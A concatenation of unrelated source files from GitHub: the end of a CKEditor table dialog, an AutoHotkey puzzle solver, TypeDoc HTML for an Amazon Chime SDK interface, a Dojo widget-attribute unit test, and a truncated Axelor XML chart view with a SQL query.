'hbox', widths: [ null, null ], styles: [ 'vertical-align:top' ], children: [ { type: 'vbox', padding: 0, children: [ { type: 'text', id: 'txtRows', 'default': 3, label: editor.lang.table.rows, required: true, controlStyle: 'width:5em', validate: validatorNum( editor.lang.table.invalidRows ), setup: function( selectedElement ) { this.setValue( selectedElement.$.rows.length ); }, commit: commitValue }, { type: 'text', id: 'txtCols', 'default': 2, label: editor.lang.table.columns, required: true, controlStyle: 'width:5em', validate: validatorNum( editor.lang.table.invalidCols ), setup: function( selectedTable ) { this.setValue( tableColumns( selectedTable ) ); }, commit: commitValue }, { type: 'html', html: '&nbsp;' }, { type: 'select', id: 'selHeaders', requiredContent: 'th', 'default': 'row', //Wikia - changed default from '' label: editor.lang.table.headers, items: [ [ editor.lang.table.headersNone, '' ], [ editor.lang.table.headersRow, 'row' ], [ editor.lang.table.headersColumn, 'col' ], [ editor.lang.table.headersBoth, 'both' ] ], setup: function( selectedTable ) { // Fill in the headers field. var dialog = this.getDialog(); dialog.hasColumnHeaders = true; // Check if all the first cells in every row are TH for ( var row = 0; row < selectedTable.$.rows.length; row++ ) { // If just one cell isn't a TH then it isn't a header column var headCell = selectedTable.$.rows[ row ].cells[ 0 ]; if ( headCell && headCell.nodeName.toLowerCase() != 'th' ) { dialog.hasColumnHeaders = false; break; } } // Check if the table contains <thead>. if ( ( selectedTable.$.tHead !== null ) ) this.setValue( dialog.hasColumnHeaders ? 'both' : 'row' ); else this.setValue( dialog.hasColumnHeaders ? 'col' : '' ); }, commit: commitValue }, { type: 'text', id: 'txtBorder', requiredContent: 'table[border]', // Avoid setting border which will then disappear. 'default': '0', // Wikia - changed default from 1 label: editor.lang.table.border, controlStyle: 'width:3em', validate: CKEDITOR.dialog.validate.number( editor.lang.table.invalidBorder ), setup: function( selectedTable ) { this.setValue( selectedTable.getAttribute( 'border' ) || '' ); }, commit: function( data, selectedTable ) { if ( this.getValue() ) selectedTable.setAttribute( 'border', this.getValue() ); else selectedTable.removeAttribute( 'border' ); } }, { id: 'cmbAlign', type: 'select', requiredContent: 'table[align]', 'default': '', label: editor.lang.common.align, items: [ [ editor.lang.common.notSet, '' ], [ editor.lang.common.alignLeft, 'left' ], [ editor.lang.common.alignCenter, 'center' ], [ editor.lang.common.alignRight, 'right' ] ], setup: function( selectedTable ) { this.setValue( selectedTable.getAttribute( 'align' ) || '' ); }, commit: function( data, selectedTable ) { if ( this.getValue() ) selectedTable.setAttribute( 'align', this.getValue() ); else selectedTable.removeAttribute( 'align' ); } } ] }, { type: 'vbox', padding: 0, children: [ { type: 'hbox', widths: [ '5em' ], children: [ { type: 'text', id: 'txtWidth', requiredContent: 'table{width}', controlStyle: 'width:5em', label: editor.lang.common.width, title: editor.lang.common.cssLengthTooltip, // Smarter default table width. (#9600) 'default': editor.filter.check( 'table{width}' ) ? ( editable.getSize( 'width' ) < 500 ? '100%' : 500 ) : 0, getValue: defaultToPixel, validate: CKEDITOR.dialog.validate.cssLength( editor.lang.common.invalidCssLength.replace( '%1', editor.lang.common.width ) ), onChange: function() { var styles = this.getDialog().getContentElement( 'advanced', 'advStyles' ); styles && styles.updateStyle( 'width', this.getValue() ); }, setup: function( selectedTable ) { var val = selectedTable.getStyle( 'width' ); this.setValue( val ); }, commit: commitValue } ] }, { type: 'hbox', widths: [ '5em' ], children: [ { type: 'text', id: 'txtHeight', requiredContent: 'table{height}', controlStyle: 'width:5em', label: editor.lang.common.height, title: editor.lang.common.cssLengthTooltip, 'default': '', getValue: defaultToPixel, validate: CKEDITOR.dialog.validate.cssLength( editor.lang.common.invalidCssLength.replace( '%1', editor.lang.common.height ) ), onChange: function() { var styles = this.getDialog().getContentElement( 'advanced', 'advStyles' ); styles && styles.updateStyle( 'height', this.getValue() ); }, setup: function( selectedTable ) { var val = selectedTable.getStyle( 'height' ); val && this.setValue( val ); }, commit: commitValue } ] }, { type: 'html', html: '&nbsp;' }, { type: 'text', id: 'txtCellSpace', requiredContent: 'table[cellspacing]', controlStyle: 'width:3em', label: editor.lang.table.cellSpace, 'default': editor.filter.check( 'table[cellspacing]' ) ? 1 : 0, validate: CKEDITOR.dialog.validate.number( editor.lang.table.invalidCellSpacing ), setup: function( selectedTable ) { this.setValue( selectedTable.getAttribute( 'cellSpacing' ) || '' ); }, commit: function( data, selectedTable ) { if ( this.getValue() ) selectedTable.setAttribute( 'cellSpacing', this.getValue() ); else selectedTable.removeAttribute( 'cellSpacing' ); } }, { type: 'text', id: 'txtCellPad', requiredContent: 'table[cellpadding]', controlStyle: 'width:3em', label: editor.lang.table.cellPad, 'default': editor.filter.check( 'table[cellpadding]' ) ? 1 : 0, validate: CKEDITOR.dialog.validate.number( editor.lang.table.invalidCellPadding ), setup: function( selectedTable ) { this.setValue( selectedTable.getAttribute( 'cellPadding' ) || '' ); }, commit: function( data, selectedTable ) { if ( this.getValue() ) selectedTable.setAttribute( 'cellPadding', this.getValue() ); else selectedTable.removeAttribute( 'cellPadding' ); } } ] } ] }, { type: 'html', align: 'right', html: '' }, { type: 'vbox', padding: 0, children: [ { type: 'text', id: 'txtCaption', requiredContent: 'caption', label: editor.lang.table.caption, setup: function( selectedTable ) { this.enable(); var nodeList = selectedTable.getElementsByTag( 'caption' ); if ( nodeList.count() > 0 ) { var caption = nodeList.getItem( 0 ); var firstElementChild = caption.getFirst( CKEDITOR.dom.walker.nodeType( CKEDITOR.NODE_ELEMENT ) ); if ( firstElementChild && !firstElementChild.equals( caption.getBogus() ) ) { this.disable(); this.setValue( caption.getText() ); return; } caption = CKEDITOR.tools.trim( caption.getText() ); this.setValue( caption ); } }, commit: function( data, table ) { if ( !this.isEnabled() ) return; var caption = this.getValue(), captionElement = table.getElementsByTag( 'caption' ); if ( caption ) { if ( captionElement.count() > 0 ) { captionElement = captionElement.getItem( 0 ); captionElement.setHtml( '' ); } else { captionElement = new CKEDITOR.dom.element( 'caption', editor.document ); table.append( captionElement, true ); } captionElement.append( new CKEDITOR.dom.text( caption, editor.document ) ); } else if ( captionElement.count() > 0 ) { for ( var i = captionElement.count() - 1; i >= 0; i-- ) captionElement.getItem( i ).remove(); } } }/*, { type: 'text', id: 'txtSummary', bidi: true, requiredContent: 'table[summary]', label: editor.lang.table.summary, setup: function( selectedTable ) { this.setValue( selectedTable.getAttribute( 'summary' ) || '' ); }, commit: function( data, selectedTable ) { if ( this.getValue() ) selectedTable.setAttribute( 'summary', this.getValue() ); else selectedTable.removeAttribute( 'summary' ); } }*/ ] } ] }, dialogadvtab && dialogadvtab.createAdvancedTab( editor, null, 'table' ) ] }; } CKEDITOR.dialog.add( 'table', function( editor ) { return tableDialog( editor, 'table' ); } ); CKEDITOR.dialog.add( 'tableProperties', function( editor ) { return tableDialog( editor, 'tableProperties' ); } ); } )();
{ "pile_set_name": "Github" }
oGrid := [[ "", "X", "X"] ; setup oGrid ,[ "X", "X", "X", "X"] ,[ "", "X", "X"]] oNeighbor := [], oCell := [], oRoute := [] , oVisited := [] ; initialize objects for row, oRow in oGrid for col, val in oRow if val ; for each valid cell in oGrid oNeighbor[row, col] := Neighbors(row, col, oGrid) ; list valid no-connection neighbors Solve: for row, oRow in oGrid for col , val in oRow if val ; for each valid cell in oGrid if (oSolution := SolveNoConnect(row, col, 1)).8 ; solve for this cell break, Solve ; if solution found stop ; show solution for i , val in oSolution oCell[StrSplit(val, ":").1 , StrSplit(val, ":").2] := i A := oCell[1, 2] , B := oCell[1, 3] C := oCell[2, 1], D := oCell[2, 2] , E := oCell[2, 3], F := oCell[2, 4] G := oCell[3, 2] , H := oCell[3, 3] sol = ( %A% %B% /|\ /|\ / | X | \ / |/ \| \ %C% - %D% - %E% - %F% \ |\ /| / \ | X | / \|/ \|/ %G% %H% ) MsgBox % sol return ;----------------------------------------------------------------------- SolveNoConnect(row, col, val){ global oRoute.push(row ":" col) ; save route oVisited[row, col] := true ; mark this cell visited if oRoute[8] ; if solution found return true ; end recursion for each, nn in StrSplit(oNeighbor[row, col], ",") ; for each no-connection neighbor of cell { rowX := StrSplit(nn, ":").1 , colX := StrSplit(nn, ":").2 ; get coords of this neighbor if !oVisited[rowX, colX] ; if not previously visited { oVisited[rowX, colX] := true ; mark this cell visited val++ ; increment if (SolveNoConnect(rowX, colX, val)) ; recurse return oRoute ; if solution found return route } } oRoute.pop() ; Solution not found, backtrack oRoute oVisited[row, col] := false ; Solution not found, remove mark } ;----------------------------------------------------------------------- Neighbors(row, col, oGrid){ ; return distant neighbors of oGrid[row,col] for r , oRow in oGrid for c, v in oRow if (v="X") && (abs(row-r) > 1 || abs(col-c) > 1) list .= r ":"c "," if (row<>2) && oGrid[row, col] list .= oGrid[row, col+1] ? row ":" col+1 "," : oGrid[row, col-1] ? row ":" col-1 "," : "" return Trim(list, ",") }
{ "pile_set_name": "Github" }
<!doctype html> <html class="default no-js"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>SignalingSession | amazon-chime-sdk-js</title> <meta name="description" content="Documentation for amazon-chime-sdk-js"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="../assets/css/main.css"> </head> <body> <header> <div class="tsd-page-toolbar"> <div class="container"> <div class="table-wrap"> <div class="table-cell" id="tsd-search" data-index="../assets/js/search.json" data-base=".."> <div class="field"> <label for="tsd-search-field" class="tsd-widget search no-caption">Search</label> <input id="tsd-search-field" type="text" /> </div> <ul class="results"> <li class="state loading">Preparing search index...</li> <li class="state failure">The search index is not available</li> </ul> <a href="../index.html" class="title">amazon-chime-sdk-js</a> </div> <div class="table-cell" id="tsd-widgets"> <div id="tsd-filter"> <a href="#" class="tsd-widget options no-caption" data-toggle="options">Options</a> <div class="tsd-filter-group"> <div class="tsd-select" id="tsd-filter-visibility"> <span class="tsd-select-label">All</span> <ul class="tsd-select-list"> <li data-value="public">Public</li> <li data-value="protected">Public/Protected</li> <li data-value="private" class="selected">All</li> </ul> </div> <input type="checkbox" id="tsd-filter-inherited" checked /> <label class="tsd-widget" for="tsd-filter-inherited">Inherited</label> <input type="checkbox" id="tsd-filter-externals" checked /> <label class="tsd-widget" for="tsd-filter-externals">Externals</label> <input type="checkbox" id="tsd-filter-only-exported" /> <label class="tsd-widget" for="tsd-filter-only-exported">Only exported</label> </div> </div> <a href="#" class="tsd-widget menu no-caption" data-toggle="menu">Menu</a> </div> </div> </div> </div> <div class="tsd-page-title"> <div class="container"> <ul class="tsd-breadcrumb"> <li> <a href="../globals.html">Globals</a> </li> <li> <a href="signalingsession.html">SignalingSession</a> </li> </ul> <h1>Interface SignalingSession</h1> </div> </div> </header> <div class="container container-main"> <div class="row"> <div class="col-8 col-content"> <section class="tsd-panel tsd-hierarchy"> <h3>Hierarchy</h3> <ul class="tsd-hierarchy"> <li> <span class="target">SignalingSession</span> </li> </ul> </section> <section class="tsd-panel"> <h3>Implemented by</h3> <ul class="tsd-hierarchy"> <li><a href="../classes/defaultsignalingsession.html" class="tsd-signature-type">DefaultSignalingSession</a></li> </ul> </section> <section class="tsd-panel-group tsd-index-group"> <h2>Index</h2> <section class="tsd-panel tsd-index-panel"> <div class="tsd-index-content"> <section class="tsd-index-section "> <h3>Methods</h3> <ul class="tsd-index-list"> <li class="tsd-kind-method tsd-parent-kind-interface"><a href="signalingsession.html#close" class="tsd-kind-icon">close</a></li> <li class="tsd-kind-method tsd-parent-kind-interface"><a href="signalingsession.html#open" class="tsd-kind-icon">open</a></li> <li class="tsd-kind-method tsd-parent-kind-interface"><a href="signalingsession.html#registerobserver" class="tsd-kind-icon">register<wbr>Observer</a></li> <li class="tsd-kind-method tsd-parent-kind-interface"><a href="signalingsession.html#unregisterobserver" class="tsd-kind-icon">unregister<wbr>Observer</a></li> </ul> </section> </div> </section> </section> <section class="tsd-panel-group tsd-member-group "> <h2>Methods</h2> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-interface"> <a name="close" class="tsd-anchor"></a> <h3>close</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-interface"> <li class="tsd-signature tsd-kind-icon">close<span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">Promise</span><span class="tsd-signature-symbol">&lt;</span><span class="tsd-signature-type">void</span><span class="tsd-signature-symbol">&gt;</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <ul> <li>Defined in <a href="https://github.com/aws/amazon-chime-sdk-js/blob/master/src/screenviewing/signalingsession/SignalingSession.ts#L9">src/screenviewing/signalingsession/SignalingSession.ts:9</a></li> </ul> </aside> <h4 class="tsd-returns-title">Returns <span class="tsd-signature-type">Promise</span><span class="tsd-signature-symbol">&lt;</span><span class="tsd-signature-type">void</span><span class="tsd-signature-symbol">&gt;</span></h4> </li> </ul> </section> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-interface"> <a name="open" class="tsd-anchor"></a> <h3>open</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-interface"> <li class="tsd-signature tsd-kind-icon">open<span class="tsd-signature-symbol">(</span>connectionRequest<span class="tsd-signature-symbol">: </span><a href="../classes/screenviewingsessionconnectionrequest.html" class="tsd-signature-type">ScreenViewingSessionConnectionRequest</a><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">Promise</span><span class="tsd-signature-symbol">&lt;</span><span class="tsd-signature-type">void</span><span class="tsd-signature-symbol">&gt;</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <ul> <li>Defined in <a href="https://github.com/aws/amazon-chime-sdk-js/blob/master/src/screenviewing/signalingsession/SignalingSession.ts#L8">src/screenviewing/signalingsession/SignalingSession.ts:8</a></li> </ul> </aside> <h4 class="tsd-parameters-title">Parameters</h4> <ul class="tsd-parameters"> <li> <h5>connectionRequest: <a href="../classes/screenviewingsessionconnectionrequest.html" class="tsd-signature-type">ScreenViewingSessionConnectionRequest</a></h5> </li> </ul> <h4 class="tsd-returns-title">Returns <span class="tsd-signature-type">Promise</span><span class="tsd-signature-symbol">&lt;</span><span class="tsd-signature-type">void</span><span class="tsd-signature-symbol">&gt;</span></h4> </li> </ul> </section> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-interface"> <a name="registerobserver" class="tsd-anchor"></a> <h3>register<wbr>Observer</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-interface"> <li class="tsd-signature tsd-kind-icon">register<wbr>Observer<span class="tsd-signature-symbol">(</span>observer<span class="tsd-signature-symbol">: </span><a href="screenobserver.html" class="tsd-signature-type">ScreenObserver</a><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">void</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <ul> <li>Defined in <a href="https://github.com/aws/amazon-chime-sdk-js/blob/master/src/screenviewing/signalingsession/SignalingSession.ts#L10">src/screenviewing/signalingsession/SignalingSession.ts:10</a></li> </ul> </aside> <h4 class="tsd-parameters-title">Parameters</h4> <ul class="tsd-parameters"> <li> <h5>observer: <a href="screenobserver.html" class="tsd-signature-type">ScreenObserver</a></h5> </li> </ul> <h4 class="tsd-returns-title">Returns <span class="tsd-signature-type">void</span></h4> </li> </ul> </section> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-interface"> <a name="unregisterobserver" class="tsd-anchor"></a> <h3>unregister<wbr>Observer</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-interface"> <li class="tsd-signature tsd-kind-icon">unregister<wbr>Observer<span class="tsd-signature-symbol">(</span>observer<span class="tsd-signature-symbol">: </span><a href="screenobserver.html" class="tsd-signature-type">ScreenObserver</a><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">void</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <ul> <li>Defined in <a href="https://github.com/aws/amazon-chime-sdk-js/blob/master/src/screenviewing/signalingsession/SignalingSession.ts#L11">src/screenviewing/signalingsession/SignalingSession.ts:11</a></li> </ul> </aside> <h4 class="tsd-parameters-title">Parameters</h4> <ul class="tsd-parameters"> <li> <h5>observer: <a href="screenobserver.html" class="tsd-signature-type">ScreenObserver</a></h5> </li> </ul> <h4 class="tsd-returns-title">Returns <span class="tsd-signature-type">void</span></h4> </li> </ul> </section> </section> </div> <div class="col-4 col-menu menu-sticky-wrap menu-highlight"> <nav class="tsd-navigation primary"> <ul> <li class="globals "> <a href="../globals.html"><em>Globals</em></a> </li> </ul> </nav> <nav class="tsd-navigation secondary menu-sticky"> <ul class="before-current"> </ul> <ul class="current"> <li class="current tsd-kind-interface"> <a href="signalingsession.html" class="tsd-kind-icon">Signaling<wbr>Session</a> <ul> <li class=" tsd-kind-method tsd-parent-kind-interface"> <a href="signalingsession.html#close" class="tsd-kind-icon">close</a> </li> <li class=" tsd-kind-method tsd-parent-kind-interface"> <a href="signalingsession.html#open" class="tsd-kind-icon">open</a> </li> <li class=" tsd-kind-method tsd-parent-kind-interface"> <a href="signalingsession.html#registerobserver" class="tsd-kind-icon">register<wbr>Observer</a> </li> <li class=" tsd-kind-method tsd-parent-kind-interface"> <a href="signalingsession.html#unregisterobserver" class="tsd-kind-icon">unregister<wbr>Observer</a> </li> </ul> </li> </ul> <ul class="after-current"> </ul> </nav> </div> </div> </div> <footer class="with-border-bottom"> <div class="container"> <h2>Legend</h2> <div class="tsd-legend-group"> <ul class="tsd-legend"> <li class="tsd-kind-constructor tsd-parent-kind-class"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-class"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class"><span class="tsd-kind-icon">Accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-interface"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-interface"><span class="tsd-kind-icon">Method</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited method</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected method</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private method</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static method</span></li> </ul> </div> </div> </footer> <div class="container tsd-generator"> <p>Generated using <a href="https://typedoc.org/" target="_blank">TypeDoc</a></p> </div> <div class="overlay"></div> <script src="../assets/js/main.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>widget attribute unit test (in constructor and get()/set())</title> <script src="boilerplate.js"></script> <script type="text/javascript"> require([ "doh/runner", "dojo/_base/declare", "dojo/dom", "dojo/dom-attr", "dojo/dom-class", "dojo/dom-style", "dojo/sniff", "dijit/_WidgetBase", "dijit/_Widget", "dijit/_TemplatedMixin", "dijit/_WidgetsInTemplateMixin", "dojo/domReady!" ], function(doh, declare, dom, domAttr, domClass, domStyle, has, _WidgetBase, _Widget, _TemplatedMixin, _WidgetsInTemplateMixin){ doh.register("attributes", [ // Test attributes mapped to DOMNodes function domMapping(){ var IndividualMaps = declare([_WidgetBase, _TemplatedMixin], { // Mapping foo to this.domNode.foo foo:"", _setFooAttr: "", // Mapping bar to this.buttonNode.bar bar: "", _setBarAttr: "buttonNode", // Mapping plainText to this.plainTextNode.innerHTML plainText: "", _setPlainTextAttr: {node: "plainTextNode", type: "innerText"}, teeny: false, _setTeenyAttr: {node: "teenyNode", type: "toggleClass"}, templateString: "<div class='class1' style='border: 1px solid red; width: 456px'>" + "<button data-dojo-attach-point='buttonNode,focusNode'>hi</button>" + '<span><input data-dojo-attach-point="inputNode" value="input"></span>' + "<span data-dojo-attach-point='containerNode'></span>" + "<span data-dojo-attach-point='plainTextNode'>original plain text</span>" + "<span data-dojo-attach-point='teenyNode'>teeny text</span>" + "</div>" }); var widget = new IndividualMaps({ foo:"value1", bar:"value2", "class":"class2", style:"height: 123px", plainText: "hello world <>&;", teeny: true, "name-with-dashes": "name with dashes" }).placeAt(dom.byId("wrapper")); // test attributes specified to constructor were copied over to DOM doh.is("value1", widget.domNode.getAttribute("foo"), "widget.domNode.getAttribute('foo')"); doh.is("value2", widget.buttonNode.getAttribute("bar"), "widget.domNode.getAttribute('bar')"); doh.t(domClass.contains(widget.domNode, "class1"), "class1"); doh.t(domClass.contains(widget.domNode, "class2"), "class2"); doh.is("123px", widget.domNode.style.height, "height"); doh.is("456px", widget.domNode.style.width, "width"); doh.is("hello world &lt;&gt;&amp;;", widget.plainTextNode.innerHTML, "innerHTML"); doh.t(domClass.contains(widget.teenyNode, "teeny"), "teeny"); }, // Test attributes mapped to subwidgets function subwidgetMapping(){ declare("MySubWidget", [_WidgetBase], { _setFooAttr: function(val){ this.foo = val; this.gotValue = true; // set flag for testing purposes } }); var IndividualMaps = declare( [_WidgetBase, _TemplatedMixin, _WidgetsInTemplateMixin], { // Mapping foo to this.subwidget.foo foo:"", _setFooAttr: "subwidget", templateString: "<div class='class1' style='border: 1px solid red; width: 456px'>" + "<button data-dojo-type='MySubWidget' data-dojo-attach-point='subwidget'>hi</button>" + "</div>" }); var widget = new IndividualMaps({ foo: "value1" }).placeAt(dom.byId("wrapper")); // test attribute specified to constructor was copied over to subwidget doh.is("value1", widget.subwidget.get("foo"), "widget.subwidget.get('foo')"); doh.t(widget.subwidget.gotValue, "gotValue"); }, // Test that certain attributes are automatically applied to focusNode or domNode. // These are attributes that aren't mentioned at all in _WidgetBase. function autoDomMapping(){ // Mapping to this.domNode var w = new _WidgetBase({ title: "dom title", "aria-labelledby": "foo", role: "button" }); doh.is("dom title", domAttr.get(w.domNode, "title"), "domNode title"); doh.is("foo", w.domNode.getAttribute("aria-labelledby", "domNode labelledby")); doh.is("button", domAttr.get(w.domNode, "role"), "domNode role"); // Mapping to this.focusNode var fw = new (declare([_WidgetBase, _TemplatedMixin], { templateString: "<div><input data-dojo-attach-point='focusNode'/></div>" }))({ title: "my title", "aria-labelledby": "foo" }); doh.is("my title", domAttr.get(fw.focusNode, "title"), "focusNode title"); doh.is("foo", fw.focusNode.getAttribute("aria-labelledby"), "focusNode labelledby"); // Mapping attributes with dashes and mixed case var mc = new (declare([_WidgetBase, _TemplatedMixin], { templateString: "<form></form>" }))({ "accept-charset": "utf8", "novalidate": "true" // parser delivers as lowercase even though it's noValidate in JS obj }); doh.is("utf8", mc.domNode.getAttribute("accept-charset"), "accept-charset"); if(has("ff") >= 4 || has("ie") >= 10 || has("webkit")){ // only works for HTML5 compliant browsers where novalidate is understood // (also, hasAttribute() is not available on IE6/7) doh.t(mc.domNode.hasAttribute("novalidate"), "noValidate"); } }, // Test that creating a widget with type defined doesn't causes exceptions on IE6-8. // This is really trying to test that markup like <input dojoType=WidgetBase type=text> works. // (Todo: remove for 2.0) function typeException(){ var node = document.createElement("input"); document.body.appendChild(node); new _WidgetBase({ type: "text" }, node); }, // Test custom setters/getter methods function customSetters(){ var CustomSetters = declare([_WidgetBase], { foo: 0, _setFooAttr: function(val){ this._set("foo", val + 5); }, _getFooAttr: function(val){ return this._get("foo") - 10; } }); var widget = new CustomSetters({ foo: 100 }); doh.is(105, widget._get("foo"), "custom setter called at initialize time"); doh.is(95, widget.get("foo"), "custom getter called"); widget.set("foo", 50); doh.is(55, widget._get("foo"), "custom setter called dynamically"); doh.is(45, widget.get("foo"), "custom getter still called"); }, // Test setters for attribute names with dashes function settersForNamesWithDashes(){ var MyWidget = declare([_WidgetBase, _TemplatedMixin], { "name-with-dashes": "", _setNameWithDashesAttr: {node: "dashNode", type: "innerHTML"}, templateString: "<div>" + "<span data-dojo-attach-point='dashNode'></span>" + "</div>" }); var widget = new MyWidget({ "name-with-dashes": "name with dashes" }).placeAt(dom.byId("wrapper")); doh.is("name with dashes", widget.get("name-with-dashes"), "get()"); doh.is("name with dashes", widget.dashNode.innerHTML, "innerHTML"); widget.set("name-with-dashes", "hello"); doh.is("hello", widget.dashNode.innerHTML); }, // Test deprecated attr() method (remove for 2.0) function attr(){ var MyWidget = new declare([_Widget, _TemplatedMixin], { templateString: "<div><span data-dojo-attach-point=nameNode></span></div>", _setNameAttr: {node: "nameNode", type: "innerHTML"} }); var b = new MyWidget(); // simple setting b.attr("name", "thinger"); doh.is("thinger", b.attr("name"), "b.attr('name')"); doh.is("thinger", b.nameNode.innerHTML, "innerHTML"); // hash setting b.attr({ name: "bang", foo: "zap" }); doh.is("bang", b.attr("name"), "hash set of bang"); doh.is("zap", b.attr("foo"), "hash set of zap"); }, // Test deprecated attributeMap (remove for 2.0) function attributeMap(){ var AttrMap = declare([_WidgetBase, _TemplatedMixin], { attributeMap: {foo: "", bar: "buttonNode", plainText: {node: "plainTextNode", type: "innerText"}, teeny: {node: "teenyNode", type: "toggleClass"}}, templateString: "<div class='class1' style='border: 1px solid red; width: 456px'>" + "<button data-dojo-attach-point='buttonNode,focusNode'>hi</button>" + '<span><input data-dojo-attach-point="inputNode" value="input"></span>' + "<span data-dojo-attach-point='containerNode'></span>" + "<span data-dojo-attach-point='plainTextNode'>original plain text</span>" + "<span data-dojo-attach-point='teenyNode'>teeny text</span>" + "</div>" }); var widget = new AttrMap({ foo:"value1", bar:"value2", "class":"class2", style:"height: 123px", plainText: "hello world <>&;", teeny: true }).placeAt(dom.byId("wrapper")); // test that attributes specified to constructor were copied over to the DOM doh.is("value1", widget.domNode.getAttribute("foo"), "widget.domNode.getAttribute('foo')"); doh.is("value2", widget.buttonNode.getAttribute("bar"), "widget.domNode.getAttribute('bar')"); doh.t(domClass.contains(widget.domNode, "class1"), "class1"); doh.t(domClass.contains(widget.domNode, "class2"), "class2"); doh.is("123px", widget.domNode.style.height, "height"); doh.is("456px", widget.domNode.style.width, "width"); doh.is("hello world &lt;&gt;&amp;;", widget.plainTextNode.innerHTML, "innerHTML"); doh.t(domClass.contains(widget.teenyNode, "teeny"), "teeny"); }, // Test that attributes set in the ctor when side effects setter exist // are correctly applied function ctorDependentAttributes(){ var TestWidget = declare(_WidgetBase, { single: null, multiple: [], _setSingleAttr: function(value){ this._set("multiple", value != null ? [value] : null); this._set("single", value); }, _setMultipleAttr: function(value){ this._set("single", value ? (value.length > 0 ? value[0] : null) : null); this._set("multiple", value); } }); var w1 = new TestWidget({ single : 5 }); var w2 = new TestWidget({ multiple: [5] }); doh.is(5, w1.get("single"), "w1.single"); doh.is([5], w1.get("multiple"), "w1.multiple"); doh.is(5, w2.get("single"), "w2.single"); doh.is([5], w2.get("multiple"), "w2.multiple"); }, function moreCorrelatedProperties(){ var Widget = declare([_WidgetBase], { foo: 10, _setFooAttr: function(val){ this._set("foo", val); this._set("bar", val + 1); }, bar: 11, _setBarAttr: function(val){ this._set("bar", val); this._set("foo", val - 1); } }); var w1 = new Widget({foo: 30}); doh.is(30, w1.get("foo"), "w1.foo"); doh.is(31, w1.get("bar"), "w1.bar"); var w2 = new Widget({bar: 30}); doh.is(30, w2.get("bar"), "w2.bar"); doh.is(29, w2.get("foo"), "w2.foo"); var w3 = new Widget({}); doh.is(10, w3.get("foo"), "w3.foo"); doh.is(11, w3.get("bar"), "w3.bar"); }, function widgetWatch() { var widget = new _WidgetBase({}), expected = [ 'a', NaN ], actual = []; widget.watch('foo', function (key, oldValue, value) { actual.push(value); }); widget.set('foo', 'a'); widget.set('foo', 'a'); widget.set('foo', NaN); widget.set('foo', NaN); doh.is(expected, actual); widget.destroyRecursive(); } ]); // doh.register() doh.run(); }); // require() </script> </head> <body> <h1>Dijit widget.get()/set() Unit Test</h1> <div id="wrapper"></div> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <object-views xmlns="http://axelor.com/xml/ns/object-views" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://axelor.com/xml/ns/object-views http://axelor.com/xml/ns/object-views/object-views_5.3.xsd"> <chart onInit="action.quality.chart.set.date" name="chart.quality.control.points" title="Control Points"> <search-fields> <field type="date" name="fromDateT" title="From Date" x-required="true"/> <field type="date" name="toDateT" title="To Date" x-required="true"/> </search-fields> <dataset type="sql"> <![CDATA[ SELECT COUNT(self.id) AS _passed, _team.name AS _team_name, _meta._select_title AS _status FROM quality_control_point AS self LEFT JOIN team_team AS _team ON self.team = _team.id JOIN (SELECT cast(_item.value as int) AS _select_value, _item.title AS _select_title FROM meta_select AS _selection JOIN meta_select_item AS _item ON _selection.name = 'quality.control.points.status.select' AND _item.select_id = _selection.id ) AS _meta ON _meta._select_value = self.status_select WHERE ( self.status_select = 2 OR self.status_select = 3 ) AND DATE(self.created_on) BETWEEN DATE(:fromDateT) AND DATE(:toDateT) GROUP BY _team_name, _status ORDER BY _team_name, _passed ASC ]]> </dataset> <category 